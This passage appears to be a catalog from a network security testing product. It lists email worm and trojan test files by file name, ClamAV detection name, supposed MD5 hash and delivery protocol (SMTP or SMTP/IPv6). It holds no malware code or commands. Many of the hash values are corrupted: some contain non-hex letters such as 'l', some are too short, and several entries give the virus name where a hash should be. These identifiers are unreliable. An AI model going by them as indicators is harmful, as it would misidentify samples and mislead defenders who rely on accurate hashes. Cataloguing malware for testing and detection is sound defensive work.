Detailed Description:	This is the email virus Email-Worm.Win32.Jubon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Jubon.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	VBS.IWorm.Lee.I.5ae2dclb_IPv6.xml
Executive Description:	Email Virus VBS.IWorm.Lee.I (IPv6 Version)
Detailed Description:	This is the email virus VBS.IWorm.Lee.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ae2dclb157cadaecb055dc264d0f3dd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.660bla5b_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 660bla5b54917adb9e165f5bd49cb94b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.MailTest.20b49737_IPv6.xml
Executive Description:	Email Virus VBS.MailTest (IPv6 Version)
Detailed Description:	This is the email virus VBS.MailTest as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20b49737d7206cee3f4971910fel4745. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Trilisa.de3a28ef.xml
Executive Description:	Email Virus W32.Trilisa
Detailed Description:	This is the email virus W32.Trilisa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de3a28ef920c9fa4d6df342b17b389db. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.74b41503.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74b4150355449129cca71ec95f61b55e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Angela.ld4cff52.xml
Executive Description:	Email Virus VBS.Angela
Detailed Description:	This is the email virus VBS.Angela as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ld4cff52542336e930d189038dbb31a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Trilisa.68bf3c74.xml
Executive Description:	Email Virus W32.Trilisa
Detailed Description:	This is the email virus W32.Trilisa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68bf3c74bd760ecbea0cb633bd2f5a92. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sdan.b.526fc860.xml
Executive Description:	Email Virus Worm.Sdan.b
Detailed Description:	This is the email virus Worm.Sdan.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 526fc8600be3ac152bace5879d6f95fa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.b.b.2a0b92da.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.53f2d7d4_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53f2d7d4e252d48bcac3e34da3ceb55d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.r.558c0dc7.xml
Executive Description:	Email Virus Worm.Lee.r
Detailed Description:	This is the email virus Worm.Lee.r as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 558c0dc7a4a060dbb00bba793d5f942. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Dropper.C.336blbcc.xml
Executive Description:	Email Virus Trojan.Dropper.C
Detailed Description:	This is the email virus Trojan.Dropper.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 336blbcc9a9e246e664c8674110114c2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Verocha.66blb149_IPv6.xml
Executive Description:	Email Virus Worm.Verocha (IPv6 Version)
Detailed Description:	This is the email virus Worm.Verocha as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 66blb1494988232bd3c2aelf6067161e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sowsat.F.f7db1120_IPv6.xml
Executive Description:	Email Virus Worm.Sowsat.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sowsat.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7db1120fb96912faaaale8d2defbeeb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Noon.e80c93c7.xml
Executive Description:	Email Virus Worm.Noon
Detailed Description:	This is the email virus Worm.Noon as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e80c93c78dd745efd7e51b4959a4ce33. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AD.c9ac8641.xml
Executive Description:	Email Virus Worm.Lovgate.AD
Detailed Description:	This is the email virus Worm.Lovgate.AD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c9ac86413a6325b71f3351d6bce35d00. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Sigbug.sig.5f855666_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Sigbug.sig (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Sigbug.sig as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Sigbug.sig. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Jubon.a.a.2817c402_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Jubon.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Jubon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Jubon.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maddas.0c1dd269.xml
Executive Description:	Email Virus Worm.Maddas
Detailed Description:	This is the email virus Worm.Maddas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c1dd2693ec0f5d2be79d04fd11b898e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sity.417143d7_IPv6.xml
Executive Description:	Email Virus Worm.Sity (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sity as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 417143d742381db2757ee23661d4868f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Dblue.2.5fe86b52.xml
Executive Description:	Email Virus Worm.Dblue.2
Detailed Description:	This is the email virus Worm.Dblue.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5fe86b52fcac44a4abb9377d6149a6bd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BL.2337a6cc.xml
Executive Description:	Email Virus Worm.LoveLetter.BL

Detailed Description:	This is the email virus Worm.LoveLetter.BL as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2337a6cc7169418e15e755dd43c9b1f8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Allfree.A.bf006f50.xml
Executive Description:	Email Virus VBS.Allfree.A
Detailed Description:	This is the email virus VBS.Allfree.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bf006f50d4a5149d7845b416cf538e32. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kondrik.a.4df586c4.xml
Executive Description:	Email Virus Worm.Kondrik.a
Detailed Description:	This is the email virus Worm.Kondrik.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4df586c4b34753ccaef4d0870f5cea30. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Q.ef57933f_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Q (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef57933f673b38844d342aace90c657a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Wobbler.A.ae962227_IPv6.xml
Executive Description:	Email Virus JS.Wobbler.A (IPv6 Version)
Detailed Description:	This is the email virus JS.Wobbler.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ae962227335af514b45ba2a9196fef18. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lentin.I.d6e098e6.xml
Executive Description:	Email Virus Worm.Lentin.I
Detailed Description:	This is the email virus Worm.Lentin.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6e098e6122739168d0abfe285c0d14c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Ereal.d79675c6.xml
Executive Description:	Email Virus Worm.VBS.Ereal
Detailed Description:	This is the email virus Worm.VBS.Ereal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d79675c65c94e6efd3af14cad5810b3b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AM.e6d771c2_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.AM (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.AM as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e6d771c24e8dbaf9543851e893c3e304. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LostGame.2849aeb5_IPv6.xml
Executive Description:	Email Virus Worm.LostGame (IPv6 Version)
Detailed Description:	This is the email virus Worm.LostGame as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2849aeb558799d3089432e3708576d8b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Spth.Jsg.a.eecf3f3d_IPv6.xml
Executive Description:	Email Virus Worm.Spth.Jsg.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Spth.Jsg.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eecf3f3da55eb69c9243af4d09b2a18e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.203f63fb_IPv6.xml
Executive Description:	Email Virus Worm.Vorgon.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 203f63fbdf9a4139ce8fc8fb6c07b98b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Matcher.mat.2eb06e18_IPv6.xml

Executive Description:	Email Virus Email-Worm.Win32.Matcher.mat (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Matcher.mat as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Matcher.mat. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mytob.S.931e4d09_IPv6.xml
Executive Description:	Worm.Mytob.S (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mytob.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 931e4d097c51cb6bd561ab6b2015853f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.a.07ccb143.xml
Executive Description:	Email Virus Worm.Jerm.a
Detailed Description:	This is the email virus Worm.Jerm.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 07ccb143c668ab02cf338309af170782. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.bled76c6_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bled76c639429a8645419d29fae6d3c4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ecopic.eco.add7ad76_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Ecopic.eco (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Ecopic.eco as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ecopic.eco. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Radix.d.d.594df4aa_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Radix.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Radix.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Radix.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Niqim.b6852898.xml
Executive Description:	Email Virus Worm.Niqim
Detailed Description:	This is the email virus Worm.Niqim as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b68528982aa31fa8645d8e0afe7c8c5b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.9e4df818.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e4df8189d3cbf9d5d0f627db41d97fb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Zafi.D.387ea0a6.xml
Executive Description:	Email Virus Worm.Zafi.D
Detailed Description:	This is the email virus Worm.Zafi.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 387ea0a6f410281971b3fc53b7777a40. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.c.c.d28f7d63_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Redirect.9c031483.xml
Executive Description:	Email Virus Worm.Redirect
Detailed Description:	This is the email virus Worm.Redirect as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9c031483784b849be5d0caf86bcff063. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Ainjo.d.d.1e8fb563.xml
Executive Description:	Email Virus Email-Worm.Win32.Ainjo.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Ainjo.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ainjo.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.j.j.a304cdfd.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.j.j
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.j.j as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.j.j. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.533fe353.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 533fe35372e5660c7535a216e73cd0b2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.d060da6a_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d060da6a50fb357174ad811493c66936. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zuoning.zuo.4f600be9_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Zuoning.zuo (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Zuoning.zuo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zuoning.zuo. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lentin.b.b.3b0b3d1f.xml
Executive Description:	Email Virus Email-Worm.Win32.Lentin.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Lentin.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lentin.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Desos.a.a.e84ab293_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Desos.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Desos.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Desos.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.08c40dc6.xml
Executive Description:	Email Virus Worm.Fbound.C
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08c40dc60ab7a74f5a895aab83080a5e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Backdoor.Haxdoor.B.5ea70f86.xml
Executive Description:	Email Virus Email-Worm.Backdoor.Haxdoor.B
Detailed Description:	This is the email virus Backdoor.Haxdoor.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ea70f863alb63d08c14d3c2455f8790. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Duksten.c.c.6c18f8aa_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Duksten.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Duksten.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Duksten.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nooler.B.1bef08e1_IPv6.xml
Executive Description:	Email Virus Worm.Nooler.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nooler.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1bef08e1f6c64703a510190d464bf9a5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Gain.gai.970a06be_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Gain.gai (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Gain.gai as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Gain.gai. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.c.c.597a6bfd_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Emin.d9fd66a8.xml
Executive Description:	Email Virus Worm.VBS.Emin
Detailed Description:	This is the email virus Worm.VBS.Emin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d9fd66a813b647e9461e654ba80db7bc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Talorm.88d0606e_IPv6.xml
Executive Description:	Email Virus Worm.Talorm (IPv6 Version)
Detailed Description:	This is the email virus Worm.Talorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88d0606ebdabe3e8b237c480adfa848. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BAT.FLove.ed38bbd9.xml
Executive Description:	Email Virus Worm.BAT.FLove
Detailed Description:	This is the email virus Worm.BAT.FLove as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ed38bbd915420548c5d5a442366939f8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Dracv.2.b35c3c00.xml
Executive Description:	Email Virus Worm.Dracv.2
Detailed Description:	This is the email virus Worm.Dracv.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b35c3c001da60be4995f80946baaaaa4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Pics.b.dab362e2.xml
Executive Description:	Email Virus Worm.Pics.b
Detailed Description:	This is the email virus Worm.Pics.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dab362e23d98a3ba9be4b577ea44be6e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wabbin.elc336c3.xml
Executive Description:	Email Virus Worm.Wabbin
Detailed Description:	This is the email virus Worm.Wabbin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: elc336c3bdalc256628fbf81eca4b571. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Merkur.a.frm.81ee1128_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Merkur.a.frm (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Merkur.a.frm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Merkur.a.frm. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Unicle.B.3e34f872.xml
Executive Description:	Email Virus Worm.Unicle.B
Detailed Description:	This is the email virus Worm.Unicle.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3e34f8723c3bfad9923c61cbff44d52b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.i.i.58c6c324.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.i.i
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.i.i. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Kondrik.a.4df586c4_IPv6.xml
Executive Description:	Email Virus Worm.Kondrik.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kondrik.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4df586c4b34753ccae4d0870f5cea30. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-1.3d23ec8b.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-1
Detailed Description:	This is the email virus Worm.SomeFool.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d23ec8b55840b95ea75197ce9446b6d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.e9baa7ed.xml
Executive Description:	Email Virus Worm.Bagle.Z
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e9baa7edb4b17ef64281a41bbe01f8d1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trader.63119305.xml
Executive Description:	Email Virus Worm.Trader
Detailed Description:	This is the email virus Worm.Trader as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6311930555c77ae2d0b39bfe1b267958. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Yama.yam.f1233115.xml
Executive Description:	Email Virus Email-Worm.JS.Yama.yam
Detailed Description:	This is the email virus Email-Worm.JS.Yama.yam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Yama.yam. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Zooboo.0459a6fb.xml
Executive Description:	Email Virus Worm.Zooboo
Detailed Description:	This is the email virus Worm.Zooboo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0459a6fb7757714ba92c8a3ff1ebfe05. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.34775617.xml
Executive Description:	Email Virus Worm.Hatred.b
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3477561728af77a73980251bbd7e7b44. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Unis.B.bdlac3a7.xml
Executive Description:	Email Virus Worm.Unis.B
Detailed Description:	This is the email virus Worm.Unis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bdlac3a7f01019ba31243ab76e3849e9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Shoho.c94b0960_IPv6.xml
Executive Description:	Email Virus W32.Shoho (IPv6 Version)
Detailed Description:	This is the email virus W32.Shoho as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c94b09609daf2916b68950fbb568c486. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Nemit.b.b.6clef977.xml
Executive Description:	Email Virus Email-Worm.VBS.Nemit.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Nemit.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Nemit.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Chu.1.de34d735_IPv6.xml
Executive Description:	Email Virus Worm.Chu.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Chu.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de34d735d30bd0e107e14bb6aa8bf3e0. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4ac7ab17.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ac7ab17eed48c05dd23ba55f009150e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Doday.c6be62c1.xml
Executive Description:	Email Virus Worm.Doday
Detailed Description:	This is the email virus Worm.Doday as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c6be62c1334a6fe95c0cb1faa2532199. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Futonik.11b9bdcf.xml
Executive Description:	Email Virus Worm.Futonik
